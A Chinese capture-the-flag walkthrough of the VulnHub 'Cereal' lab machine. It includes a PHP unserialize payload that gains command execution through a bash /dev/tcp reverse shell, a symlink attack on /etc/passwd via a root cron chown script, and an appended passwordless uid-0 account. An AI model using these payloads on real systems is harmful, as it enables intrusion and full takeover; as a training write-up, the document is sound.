靶机下载地址:https://download.vulnhub.com/cereal/Cereal.ova
运行环境 virtual box和vmware workstaion
难度:高 (系统环境,漏洞类型都是非常接近真实的渗透场景,花费了2天的功夫才完成!)
目标:取得root权限 + 2个flag
靶机亮点:与众不同的一台靶机,是最接近真实场景,相信打完这个靶机,会对自己的渗透能力有所提高!!
涉及的技能点:
信息收集 (很多端口的陷阱)
路径枚举 (关键的线索)
密码爆破 (web的登录不成功)
域名解析 (靶机中很不常见--通过靶机作者的提示)
匿名FTP
子域名爆破 (44441端口下的枚举)
源码审计 (备份文件的提示)
反序列化漏洞 (需要了解Php和序列化变成)
编写漏洞利用代码 (构造)
进程监视 (pspy工具,监控到了chown.sh脚本文件)
本地提权 (内核,文件权限没有突破点,通过进程监视的方法,修改gid,uid)
做好做心里准备,打靶过程十分曲折!
导入虚拟机
kali主机IP地址靶机IP地址192.168.1.50/23192.168.1.74/23主机发现
arp-scan -l
靶机的IP地址是192.168.1.74
端口扫描
竟然有了这么多的端口,这台靶机的端口数量是挺多的!
服务版本发现
扫描出了很多结果,下一步需要对这些端口挨个进行梳理分析,看看哪一个端口能够被渗透所利用!
先搜索vsftpd3.0.3是否存在已知的漏洞利用代码;
如图所示:只查到了一个拒绝类服务攻击的代码~
查看到ftp服务开启了一个匿名登录的功能
尝试登录ftp
在浏览器上登录ftp://192.168.1.74
如图所示:只有一个Pub的文件目录
在pub文件目录下,没有什么文件的
在kali上测试,看看是否能利用put功能上传文件,因为我在网页上没有看到有上传的入口
尝试put方式上传本地的g5.txt ,提示了权限拒绝
550 Permission denied.
在pub目录下,再次尝试上传动作,也是提示权限拒绝
甚至,我用了nc命令连接ftp服务
└─# nc 192.168.1.74 21
这些常规的ftp服务命令都是不能用的!
到此为止FTP暂时我先放过。
open ssh的8.0版本也是不存在已知的漏洞可以利用
80端口下,是apache服务,但是默认应该暴露出的系统版本这里被靶机作者设置给隐藏了,不过取巧的方式可以在打开靶机看到是什么系统
这里的请求方式允许古老的TRACE的方式!
头部信息是Rocky linux
在139和445端口的扫描结果下,按理说应该是SMB这些的服务,可是从结果上来看,是没有被探测出来的,状态是tcpwrapped
查询 tcpwrapped这个状态,进一步说明可能端口下不是运行的默认的服务!
为了证实139 445端口下不是运行的smb服务
使用 enum4linux 192.168.1.74 来扫描
进一步证明了目标靶机中是没有smb服务,因为这些端口没有任何回应!
这些端口都是没有被识别出来的!
我尝试用nc命令去连接
结果显示,连接成功,证明这些端口是开放状态,但是端口内输入请求,服务端都不会给与响应!
说明开放的不是已知的端口,还有可能就是一些虚假端口(蜜罐程序设计,收集攻击的信息)!
剩下的这些端口结果是一样的!
3306是一个mysql数据库端口,虽然开放了该端口,但是应用层面是是禁止客户端连接的!
总体来说目标靶机 80.44441是开放的已知端口,目前的突破重点应该是这两个端口!
先访问192.168.1.74的80端口
看起来这个页面就是一个apache的测试页面。进一步证明了web程序和目标靶机的系统 (源码也无重要信息)
利用dirb 爬取隐藏的文件或者目录,默认使用一个小字典文件,接下来将对爬取出的隐藏路径进行访问分析;
先来看admin这个路径
一个后台的登录界面,弱密码,密码字典爆破均无结果。
再来看blog这个路径
提示了我们需要访问这个域名,访问备份文件!
访问这个域名前,继续查看爬取出来的路径,在这个403绕过的,是用bypass无效!
phpinfo这个路径也很重要,在我学习安装PHP的时候,老师一再强调,安装测试完成后一定要将这个文件删除或者替换
这里面暴露了靶机的一些PHP关键的配置信息。
继续查看/blog/wp-admin这个路径,默认这个wp-admin应该是wordpress的后台管理员的路径,如图:访问目标靶机这个路径时出现了重定向到cereal.ctf/这个域名下的显示!
其他的隐藏路径没有什么有价值的线索~
修改kali的hosts文件,尝试用域名去访问
修改完成后,通过域名去访问
首页面保持一致 (在实际的工作中,用域名和IP访问的业务网站,结果会存在不一样的页面!)
/admin路径也是一样的!
访问/blog页面出现的不一样的界面。页面提示了有一个备份文件的路径
往下翻,有一个搜索的表单,尝试输入等特殊符号,进行sql 注入测试,结果无效,并且明确得知这是一个wordpress程序
先访问这个路径,预料之中显示了wordpress的后台管理员界面
弱口令破解无法进入;如果进入了wordpress,可以利用其插件等漏洞进行突破!
针对刚才发现的备份文件路径,进行隐藏路径的扩展名进行爬取
结果显示没有得到有效的线索
使用了一些字典文件,进行尝试,但是执行过程却是异常的!
更换其他的路径爬取工具,再次尝试
这里,我选用的是比较小的一个字典 (真实的渗透环境需要多运行几个字典)点击start开始枚举
这样他就开始了枚举动作
在爬取的过程中,如果返回了200的HTTP状态码,证明了备份文件是存在的!
但是最终的爬取结果是一无所获的!
如果你没有这些密码字典路径,可以下载这个文件
apt install seclists
使用kali的wpscan,对其应用进行检查
使用 -e参数枚举漏洞类型且对插件进行检查
wpscan --url-e vt,vp --plugins-detection mixed
在扫描结果中没有发现插件,主题的提示
在样式相关的链接中进行查看,
没有得到有价值的线索
/wp-content/themes/twentytwentyone/style.css?ver=1.3
有一个自述文件
尝试访问也没得到有价值的线索
/readme.html
剩下的一些路径我也访问了,没有有效的线索,现在重点就是要登录到应用的后台管理来得到突破边界的机会。
到此为止,针对目标靶机的80端口探测先暂停!
接下来就要对44441这个已知端口进行探测了
用域名访问44441端口
只是出现了一个简单的页面
再用dirb工具对其44441端口下的路径进行隐藏路径的爬取工作
只得到了一些cgi的403的路径
尝试用dirbuster
结果和dirb差不多,只是发现了一个存放图标样式的路径
拷贝其路径访问,都是一些图片的小文件,对渗透没有什么利用价值
到目前位置,对路径,扩展名的扫描工作遇到了一些困难,既然目标靶机是用域名访问,那么子域名这个方向是否可以利用?
使用kali的gobuster
选择它的主要原因就是由go语言开发,性能很好!
使用vhost 命令扫描其主机头信息(使用host头部),挂载一个DNS字典文件,结果不负有心人
一个子域名展现在眼前
secure,cereal.ctf:44441
发现了新的子域名,修改kali的hosts文件
浏览器访问这个路径
:44441/
一个新的web界面
查看其首页源码内容
发现了一个java_script脚本(实际渗透工作中应该关注此脚本内容,能够透出出后端的信息)
里面的内容大致的意思是
通过函数,提交表单,通过序列化的操作!IP地址等信息交给ipaddres这个变量序列化的操作!
那么在这里面既然有序列化的操作,是否会存在一个反序列化的漏洞类型呢?
这里还看到了一个被包含的js的文件
点击这个链接 :44441/php.js"
里面的内容大致就是序列化函数,大概率存在序列化操作
先对其页面进行功能化测试,输入127.0.0.1
在结果框中输出了结果
输入一些运营商的DNS的IP地址
结果显示出来,从结果上来看,就是通过操作系统的ping 命令操作得来的!
总的来说这就是一个ping的功能界面(输入Ip ,统计输出一些信息是由服务端调用了系统的ping 命令而来)
这个地方是否会存在命令注入漏洞呢?
使用;号,|管道符这样的连接命令,连接一个系统id的命令
如图:没有任何返回
使用burp抓取请求报文,看一下内部的流量变化,是否存在序列化的数据
先把浏览器代理设置好
通过抓取的报文,得到的是一个POST的请求方式;
携带了一个obj的对象和一个ip 的变量要提交到服务端;
其中这个obj的对象里的内容经过了url编码,将它转换成可识别的路径
转换结果,懂得序列化格式的朋友一看就是php文件之后的序列化数据的格式了
pingTest :序列化对象定义的的类
1 :代表类中一个数据的提交
ipAddress : 类中提交的一个数据的变量名称
s : 代表了序列化
9 : 代表了名称ipAddress 和 127.0.0.1字符串的长度。
这就是客户端发送的序列化数据格式到服务端,服务端收到了127.0.0.1这个IP 去完成Ping,然后返回给客户端的一个过程!
如果觉得burp字体小,可以调的大一些
重新抓取一个请求报文,在表单中输入 127.0.0.1;id(增加了注入命令)
在抓取的请求报文中,将obj和ip 这两个类中序列化数据解码成可识别的url,看看有什么变化
序列化的格式基本没变,变化的就是赋值多了;id 这样的内容,字符长度也增加到了12个;
证明了表单中输入注入命令的这些内容,由java_script脚本原封不动的变成序列化的内容。
转发后,服务端并没有执行该序列化的内容
证明服务端对ip地址这样的格式存在检查机制!
为了弄清这个问题,将这个原始的命令发送请求发送给repeater
url被转换后,在repeater中点击send发送给服务端
在重放的界面中,可以构造一些注入命令;
我在这里添加 | ls ,发现服务端的响应报文有500的状态码
改变了字符的长度,虽然不是状态码500的状态码,但是回显页面是黑屏
反序列化的漏洞特征在黑盒测试下,是十分难获取,除非拿到源码!
那么接下来,就需要再目标靶机中找源码,在实际的渗透工作中,源码的存储路径默认在根路径下的.git或者.svn这样的版本库里
先停止burp的截断功能;
访问浏览器,查看是否有git的版本库文件,结果没有提示
查看.svn 也没有
再回想之前的信息收集,中曾描述了这么一段话:让我们关注其备份文件
再次使用dirbuster这个工具对secure.cereal.ctf:44441这个路径下进行隐藏路径和扩展名的爬取,携带体型较大的字典文件
在最终的爬取结果中,看到一些之前没有被爬取出的备份文件路径(根据计算机配置,时间长短不一!)
先访问/icons/small的路径,访问路径看起来但只是有一些小图片,这对渗透没有什么价值;
再针对/back_en这个路径进行隐藏路径的爬取,这里面是否会存在一些备份文件呢,还是利用dirbuster,只不过更换一个小体积的密码字典文件,携带查询扩展名为bak
寻找到了一个index.php.bak,并且这个http状态码是200 (这个状态显示该资源是存在的,并且能够请求到!)
既然发现了这一个文件,回到kali中,使用wget进行下载.index.php.bak
查看文件类型,看起来就是一个php的脚本文件,只不过增加了一个扩展名!
使用kali的文本编辑器mousepad打开该文件
看起来是一个带有php标签的php语言文件;
查看该php源码文件,发现有html标签文件
其中有java脚本文件中的一些序列化操作函数
源码审计分析
class pingTest ---定义了类(反序列化对象的类)
public $ipAddress = "127.0.0.1"; -- 变量名称和赋值
public $isValid = False; -- 校验是失败的
public $output = ""; -- 空值
这是之前抓取的报文中obj对象中有的内容
function validate() { -- 定义了一个函数
if (!$this->isValid) { -- 校验isValid函数是真还是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{ -- 使用过滤器对传入的IpAddress 使用方法(使用filter_var进行判断)
$this->isValid = True; -- fileter_var函数校验赋值若成功,将这个valid值变为True
}
}
$this->ping(); -- 执行Ping的命令;
}
public function ping() -- 以下是ping 的命令函数具体操作内容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 执行内容就是使用ping 三个报文;
这里需要明白的是过滤器FILTERVALIDATE_IP 里的内容是在目标靶机中别的文件里进行定义的,其作用就是判断输入的内容是不是真正的IP,若是真正的IP,就将isValid改为True;
当post请求接收到来自obj请求的赋值时,进行一个解码的操作
f (isset($_POST[obj])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST[obj])); --解码
} else {
$pingTest = new pingTest; -- 新的赋值
}
$pingTest->validate(); --调用vali
分析完成后,攻击思路的重点放在提交的数据(IP地址)校验结果取决于与isvalid判定的结果,在源码文件中,默认isValid = False,若是生成一个序列化的数据,声明isValid值就等于True,这样的话,就会执行ping命令了!
实现绕过服务端的检查!
反序列化漏洞的利用方法
先在客户端上生成一个序列化的数据序列(内容中需要声明类,调用类创建一个新的序列化对象,,对象中的valid指定true,注入Ip地址后添加系统指令)实现饶过isValid真假的校验。
在kali上新建一个生成序列化的php文件,写一个ser1.php的php的代码
<?php
class pingTest {
public $ipAddress = "127.0.0.1";
public $isValid = True;
}
$obj = new pingTest();
echo urlencode(serialize($obj));
?>
运行该php文件
生成了一个序列,将这个序列化的内容拷贝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将序列化内容粘贴到截获的报文之中去
将这个url 地址转换一下
能够看到有两个键值对 ipaddress 和isvalid
b=1 为布尔值,代表了真的意思!
点击发送,服务端返回了http状态码200
再观察服务端渲染回来的界面结果,看起来,是执行成功了!
再次验证结果,将生成序列化里的内容,稍作修改,将ipaddress改成另外一个Ip地址,(注意,如果改202.106.0.20这个IP,字符长度就要从原来的9变为12)要不然服务端会回显500的状态码!
结果成功!
由此,可以证明构造序列化的数据向服务端提交请求!,ip地址后面加入一些系统指令,来进一步证明!
这里我在223.5.5.5后面增加了 ;id
服务端回显了200的状态码
渲染界面里提示成功!
观察服务端回显的回应源数据文件
id的命令被执行了,目标靶机的第一个用户身份是apache的用户名称
因此,就可以在此处插入更多的指令
查看目标靶机中是否有nc的命令?
结果命令没有回显
由于插入常规的反弹shell 会导致字符长度过长,出于简单的目的,使用bash直接连接,产生网络连接的方式!
输入以下内容:
在kali中继续修改ser1.php文件
<?php
class pingTest {
public $ipAddress = "127.0.0.1|bash -i >& /dev/tcp/kali的ip/3028 0>&1";
public $isValid = True;
}
$obj = new pingTest();
echo urlencode(serialize($obj));
?>
保存ser1.php文件后,在kali上开启侦听3028端口
再次运行 ser1.php文件,生成一个新的序列化数据O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将这个序列化的数据内容插入的repter之中,点击发送!
如图所示:获得了一个反弹shell的链接!身份是apche
本地提权
先收获第一个flag!
查看操作系统版本
查看 sudo 权限以及寻找suid文件漏洞,都没有得到有效的线索!
查看 目标系统内的所有用户
发现有一个rocky的用户可以登录系统!
查看rocky用户下的所有文件
重点放在了public_html下的文件,可以看到44441端口下的一些文件
进入到该文件目录,查看index.php 这个文件,发现内容和我之前下载的那个文件内容一样!类中的定义也是一样的!
查看目标靶机的系统进程
没有发现可利用的线索 (mysql用的是非root)
目标靶机启用了大量的端口!
这就是在端口扫描阶段,端口结果没有应用的原因!靶机作者用nc空开了许多无用的端口!
在漫长的信息收集后,决定使用一个监视目标靶机进程产生的工具
pspy64一个linux系统进程监控工具
下载地址:
部分网络环境需要挂的代理访问
百度云下载地址:
链接:?pwd=1zrs
提取码:1zrs
从该软件的自述文件可以得知,不需要root身份就可以监控用户(操作系统)的新的进程创建,符合目前靶机的情况,来搜寻后台的进程-crond,这些后台进程会运行脚本文件(这些进程是root身份运行,比如定时任务什么的)
我现将这个软件上传到我的kali上去,因为目标靶机的系统是64位,因此我下载的这个Pspy也是64位的!
先查看目标靶机的定时任务和root下的定时任务
在root下提示是没有权限的!
将pspy64这个文件上传到目标靶机之中,查看目标靶机系统是否会在一段时间过后,自动创建一些后台进程(这些进程由root身份运行的呢?)
通过观察,在这个路径下,我目前的身份是apache ,而这些文件的用户组是apche,是拥有所有的权限的,包括了写入的权限!
因此,我利用nc 来接收这个pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
传入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加执行权限到pspy文件~
启动改文件 ./pspy
这个启动和执行过程需要等待一会,系统会不会有新的进程出现
!
1:33
在后台进程中,我发现了一个叫做chown.sh的脚本 ,众所周知chown是linux的一个命令
这应该是管理员自己创建的一个脚本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上监听3031端口,增加一个反弹shell的连接
修改之前抓取的obj对象里数据内容,将之前触发序列化漏洞的数据,有一个端口改为3031
查看目标靶机里的文件,能够查看到这个文件的权限是可以被其他用户所读取
查看该chown.sh文件
看起来是将周期性的这个/home/rocky/public_html/* 这个目标文件夹下所有的文件权限改成属主是rocky,属组是apache
这就是我之前有一个chmod +x 执行失败的原因,正好赶上周期性的将这个目录下所有文件的属主和属组改变,让我无法修改
一个周期过后,我在看这个public_html下所有的文件的属主和属组都发生了变化!
那么,这个命令脚本内容对目前渗透有什么帮助呢?
软连接这个命令这个时候就派上了用场!
先来看一下系统的/etc/passwd这个文件的属主和属组
在kali上只有root用户有可读可写权限,其他的只有读的权限
在目标靶机中的这个/etc/passwd文件是属主和属组拥有完全权限!
难么在靶机的这个/home/rocky/public_html下也新建一个Passwd文件,并连接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
这个chown.sh脚本在周期性的执行,会把这个/home/rokcy/public_html下的passwd文件属主改为rocky, 属组改为apache!
等待一段时间观察,监控到chown脚本周期执行,权限会发生变化,
可是图中的passd权限却没有发生变化!
按照理论目标靶机的/etc/passwd这个文件的属主和属组也会被修改成rokcy和apache的!
观察,/etc/passwd这个文件的属主和属组变化了!
这样的话就可以将root密码设为空了!
因为当前获得的反弹shell 不太稳定
我这里新建一个用户,密码占位符x 删除掉,不需要密码,使用的是uid和gid都为0的设置,了解linux用户属性的都知道uid=0 gid=0 的账号一定是root角色,并将这些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su 命令,切换到daidai这个用户
提权成功,获取flag
到此结束,打靶结束!